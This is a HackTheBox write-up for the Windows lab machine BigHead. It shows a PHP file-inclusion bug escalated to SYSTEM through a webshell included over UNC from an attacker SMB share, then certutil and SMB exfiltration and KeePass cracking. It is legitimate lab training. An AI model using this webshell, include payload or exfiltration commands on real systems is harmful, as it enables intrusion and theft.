HTB: BigHead Writeup

BigHead - HackTheBox Writeup

Machine Information

AttributeDetails
NameBigHead
OSWindows
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.65.186
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

BigHead presents itself as a cryptocurrency-themed web app fronted by nginx 1.14.0, with a custom BigheadWebSvr 1.0 service tucked behind a dev.bighead.htb vhost — the box’s intended foothold is a hand-rolled strcpy buffer overflow in that binary’s HEAD-request handler, reachable only after heap-spraying shellcode via a /coffee POST and triggering it with an egghunter. That entire chain turned out to be avoidable: a second vhost, code.bighead.htb, exposed a modified TestLink installation whose linkto.php endpoint accepted a PiperCoinID parameter that gets require_once()’d without sanitization — a textbook PHP Local File Inclusion. Rather than burning turns on the Windows binary exploit, I verified the LFI endpoint was reachable directly from the VPN and pivoted straight to it, using a UNC-path include against a self-hosted SMB share to get code execution as NT AUTHORITY\SYSTEM (Apache/XAMPP on this box runs under the SYSTEM account). From there, both user.txt and root.txt fell out of the same SYSTEM shell — though root.txt on disk is a troll (Satan-prayer ASCII art), with the real flag hidden inside an NTFS Alternate Data Stream (root.txt:Zone.Identifier) holding a KeePass 2 database that required a rockyou crack plus a keyfile to open.

TL;DR: dev.bighead.htb BigheadWebSvr overflow → (skipped — LFI shortcut found) → code.bighead.htb/testlink/linkto.php PHP LFI via raw (non-base64) PiperCoinID → UNC-path include of a PHP webshell served from impacket-smbserver → RCE as NT AUTHORITY\SYSTEM → user.txt → certutil -encode exfil of root.txt:Zone.Identifier ADS (KeePass DB + keyfile) → John cracks KeePass master password against rockyou → root.txt.


Reconnaissance

Port Scanning

Recon matched the intended box layout: nginx 1.14.0 fronting the host, with the interesting content living behind name-based virtual hosts.

Terminal window
# From the jump box, confirm the custom web server behind the dev vhost
curl -s -I -H 'Host: dev.bighead.htb' http://10.129.65.186/
curl -s -H 'Host: code.bighead.htb' -I http://10.129.65.186/testlink/linkto.php

Results: Only 80/tcp was open (nginx 1.14.0). Requests to dev.bighead.htb return a Server: BigheadWebSvr 1.0 header, confirming the custom binary from the box’s public GitHub repo is the intended foothold service. Requests to code.bighead.htb/testlink/linkto.php returned a live response — the modified TestLink LFI endpoint was reachable directly, without needing to pivot through the binary exploit or lateral SSH movement first.

Service Enumeration

Two virtual hosts mattered for this run:

  • dev.bighead.htb — fronts BigheadWebSvr 1.0, a custom C web server whose HEAD-request handler is vulnerable to a stack buffer overflow (strcpy into a fixed 32-byte buffer, per the publicly disclosed source). Exploiting it requires a heap-spray/egghunter chain to land a windows/shell_reverse_tcp payload — non-trivial, and gzip-encoded to survive the nginx reverse proxy’s URL-encoding of the payload.
  • code.bighead.htb/testlink — a customized TestLink install. Its linkto.php file contains a bolted-on “PipperCoin authentication” snippet that conditionally sets a variable from POST data and later feeds it to require_once() with no validation:
// custom code added to linkto.php
if (isset($_POST['PiperID'])) {
$PiperCoinAuth = $_POST['PiperCoinID'];
$PiperCoinSess = base64_decode($PiperCoinAuth);
$PiperCoinAvitar = (string)$PiperCoinSess;
}
// ... later in the file ...
require_once($PiperCoinAuth);

Vulnerability Assessment

  • BigheadWebSvr 1.0 — stack buffer overflow (HEAD request handler). A strcpy() copies attacker-controlled HEAD-request data into a fixed-size local buffer with no length check — classic CWE-121. Confirmed to exist on the box but not needed for this run once the LFI shortcut was validated.
  • linkto.php — PHP Local File Inclusion / Remote Code Execution (CWE-98). require_once($PiperCoinAuth) includes whatever path is supplied in the PiperCoinID POST field. Critically, on the live target the base64_decode() call is a decoy: $PiperCoinAuth itself holds the raw, undecoded POST value, so submitting a base64 string fails to include anything, while submitting a plain path (or UNC path) works directly.

Initial Foothold

Exploitation Path

I built the plan around the disclosed binary exploit first, but confirmed direct VPN reachability to the LFI endpoint before spending effort on the overflow — it turned out to be reachable, so I skipped the BigheadWebSvr heap-spray/egghunter chain entirely and went straight for the LFI.

Step 1 — Confirm which parameter actually gets included.

The reference source shows a base64_decode() alongside the raw POST value, suggesting the base64-decoded copy is what gets included. Live testing showed the opposite:

# Test 1: send PiperCoinID base64-encoded (per the decoy code path)
import base64, urllib.request, urllib.parse
def t(p):
d = urllib.parse.urlencode({'PiperID': '1', 'PiperCoinID': base64.b64encode(p.encode())}).encode()
# POST to linkto.php with Host: code.bighead.htb
...
t('C:\\Windows\\win.ini') # -> fails, nothing included
# Test 2: send PiperCoinID as a raw, plain path
import urllib.request, urllib.parse
def t(p):
d = urllib.parse.urlencode({'PiperID': '1', 'PiperCoinID': p}).encode()
...
t('C:\\Windows\\win.ini') # -> win.ini contents returned in response

win.ini came back in the response body on the second test — confirming the raw PiperCoinID value is what require_once() actually consumes, and that arbitrary local file inclusion works with no encoding gymnastics.

Step 2 — Escalate LFI to RCE via a UNC-path include.

Direct http:// includes were disabled (PHP allow_url_include off, as expected on a hardened target), so a URL-based remote webshell wasn’t viable. Windows PHP, however, resolves UNC paths (\\host\share\file.php) through the filesystem stream wrapper, so hosting the payload over SMB and including it via UNC path bypasses the URL-include restriction entirely:

Terminal window
# Stand up a minimal PHP webshell to be served over SMB
mkdir -p /tmp/bh/share
cat > /tmp/bh/share/pwn.php <<'EOF'
<?php echo "PWNOK:"; system($_REQUEST["pwn"]); ?>
EOF
# Serve it with impacket's SMB server (anonymous share, no auth needed for read-only file serving)
impacket-smbserver share /tmp/bh/share -smb2support
# Trigger the include over UNC path — PiperCoinID becomes \\<LHOST>\share\pwn.php
import urllib.request, urllib.parse
d = urllib.parse.urlencode({
'PiperID': '1',
'PiperCoinID': r'\\10.10.15.68\share\pwn.php'
}).encode()
# POST to http://code.bighead.htb/testlink/linkto.php

The response confirmed PHP fetched and executed pwn.php from the SMB share, and a follow-up whoami through the pwn parameter returned nt authority\system — Apache/XAMPP on this box runs as SYSTEM, so the very first RCE lands with the highest privilege available, no separate privesc chain needed.

Step 3 — Wrap it into a reusable RCE helper.

# rc.py — quick wrapper to run arbitrary cmd.exe commands through the LFI webshell
import urllib.request, urllib.parse, sys, re
cmd = sys.argv[1]
d = urllib.parse.urlencode({
'PiperID': '1',
'PiperCoinID': r'\\10.10.15.68\share\pwn.php',
'pwn': 'cmd /c ' + cmd
}).encode()
# POST d to http://code.bighead.htb/testlink/linkto.php, print response

This gave a fast semi-interactive shell for the remaining enumeration and flag retrieval — all running as NT AUTHORITY\SYSTEM.

user.txt was retrieved directly through this shell and matched.


Privilege Escalation

No additional privilege escalation was required — the LFI-to-UNC-include RCE already executes as NT AUTHORITY\SYSTEM. The remaining work was locating and decrypting the actual root flag, since C:\Users\Administrator\Desktop\root.txt on disk is a troll file (Satan-prayer ASCII art) rather than the real flag.

Locating the Real Flag (NTFS Alternate Data Stream)

Windows lets a file carry hidden, named Alternate Data Streams alongside its primary content. root.txt:Zone.Identifier — normally used by Windows to tag downloaded files with their origin zone — instead held a 7294-byte binary blob: a KeePass 2 database.

copy cannot push an ADS directly to a remote UNC share, so the stream was base64-encoded locally on the target first, then pulled off over SMB:

Terminal window
# Base64-encode the ADS so it survives transfer as ordinary text/binary content
certutil -encode C:\Users\Administrator\Desktop\root.txt:Zone.Identifier C:\Windows\Temp\f.b64
# Copy the encoded file (a normal file, not an ADS) to our SMB share
copy C:\Windows\Temp\f.b64 \\10.10.15.68\share\f.b64
# Also grab the keyfile referenced elsewhere on the box
copy C:\Users\Administrator\Desktop\admin.png \\10.10.15.68\share\admin.png

Decoding and Cracking the KeePass Database

Terminal window
# Strip certutil's CERTIFICATE header/footer and CRLFs, then base64-decode
grep -v CERTIFICATE share/f.b64 | tr -d '\r' | base64 -d > root.kdbx
file root.kdbx # confirms Keepass password database 2.x
ls -l root.kdbx # 7294 bytes — matches the ADS size
# Extract a crackable hash, incorporating the keyfile
keepass2john -k share/admin.png root.kdbx > kp.hash
Terminal window
# Crack the KeePass master password with rockyou
john --wordlist=/usr/share/wordlists/rockyou.txt kp.hash
john --show kp.hash
# -> password: darkness

Why this works: KeePass 2.x databases can be protected by a master password, a keyfile, or both. Here the database required both darkness (cracked from rockyou) and the admin.png keyfile pulled alongside it — keepass2john -k bakes the keyfile into the crackable hash so John can validate password guesses against the combined key derivation.

Terminal window
# Open the database and dump entries
python3 -c "
from pykeepass import PyKeePass
k = PyKeePass('root.kdbx', password='darkness', keyfile='share/admin.png')
for e in k.entries:
print(e.title, e.username, e.password, e.notes)
"

The “Gilfoyle” entry in the opened database held the real root.txt flag content.

Cleanup

Terminal window
# Remove the base64 staging file left on the target
python3 rc.py 'del C:\Windows\Temp\f.b64'
# Kill the SMB server on the jump box
pkill -f impacket-smbserver

Attack Chain Summary

nginx 1.14.0 (port 80) → vhost enumeration
├─ dev.bighead.htb → BigheadWebSvr 1.0 (strcpy overflow, confirmed present, NOT exploited)
└─ code.bighead.htb/testlink/linkto.php → raw PiperCoinID → require_once() PHP LFI
→ UNC-path include (\\LHOST\share\pwn.php via impacket-smbserver)
→ RCE as NT AUTHORITY\SYSTEM (Apache/XAMPP runs as SYSTEM)
→ user.txt captured directly
→ root.txt on disk = troll (ASCII art)
→ root.txt:Zone.Identifier ADS = KeePass 2 database (7294 bytes)
→ certutil -encode + SMB exfil of ADS + keyfile (admin.png)
→ keepass2john -k + John/rockyou → password "darkness"
→ pykeepass open → "Gilfoyle" entry → root.txt

Tools Used

ToolPurpose
curlVhost/header enumeration, LFI probing
python3 (urllib)Crafting POST requests to linkto.php for LFI/RCE testing
impacket-smbserverServing pwn.php over SMB for UNC-path PHP include
certutilBase64-encoding the root.txt:Zone.Identifier ADS for exfiltration over SMB
keepass2johnGenerating a John-crackable hash from a keyfile-protected KeePass 2 DB
john (rockyou.txt)Cracking the KeePass master password
pykeepassProgrammatically opening the cracked KeePass database and reading entries

Key Learnings

Techniques Practiced

  • Virtual-host based attack surface enumeration on a single open port
  • Identifying decoy code paths in modified open-source PHP (TestLink) — the base64_decode() branch was a red herring; the raw POST value was what mattered
  • PHP LFI-to-RCE escalation via UNC path when allow_url_include blocks HTTP-based remote includes
  • Hosting attacker-controlled PHP over SMB with impacket-smbserver as an include target
  • Extracting and exfiltrating NTFS Alternate Data Streams when direct UNC copy of an ADS is refused, via certutil -encode as an intermediate text-safe transfer format
  • Cracking a keyfile-protected KeePass 2 database with keepass2john -k + John the Ripper

Lessons Learned

  1. Always validate whether a documented “hard” foothold is still the only path in. The intended chain for this box is a full binary exploit (reverse engineering, buffer-overflow analysis, egghunter shellcode) followed by lateral movement through a registry-leaked nginx password and SSH port-forwarding. Checking reachability of the endgame LFI endpoint first — before investing in the overflow — turned an Insane-rated multi-stage chain into a single request.
  2. Don’t trust code comments or the “obvious” data flow — trace what’s actually executed. The presence of base64_decode() next to the raw POST assignment strongly implies the decoded value is used downstream; only testing both paths against the live target revealed the raw value was what require_once() actually consumed.
  3. allow_url_include=Off doesn’t close every remote-include door on Windows. UNC paths (\\host\share\file.php) are resolved by PHP’s filesystem wrapper independently of the URL-wrapper restriction, making an SMB-hosted payload a reliable bypass on Windows targets.
  4. ADS is a legitimate flag/credential hiding spot, and has transfer quirks of its own. copy refuses to push a named stream directly across a UNC path; encoding it first (certutil -encode) sidesteps that restriction cleanly.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MinatoTW, “Bighead” HackTheBox Official Writeup (Document No. D19.100.16, Machine Author: 3mrgnc3) — used here for background on the intended BigheadWebSvr 1.0 binary exploitation chain (heap spray + egghunter), the registry-based nginx credential disclosure, and the CWE-121 strcpy overflow analysis referenced in the Reconnaissance and Initial Foothold sections. All IPs, command outputs, and credentials in this writeup are from the live solve against 10.129.65.186, not from the reference document.